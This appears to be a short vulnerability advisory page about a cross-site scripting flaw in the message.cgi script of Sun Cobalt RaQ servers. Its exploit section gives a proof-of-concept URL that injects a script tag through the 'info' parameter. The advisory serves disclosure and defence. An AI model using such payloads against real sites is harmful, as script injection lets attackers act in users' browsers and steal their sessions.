• info
• discussion
• exploit
• solution
• references

Sun Cobalt RaQ Message.CGI Cross-Site Scripting Vulnerability

The following proof of concept has been made available by Lorenzo Hernandez Garcia-Hierro:

http://wwww.example.com:81/cgi-bin/.cobalt/message/message.cgi?info=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E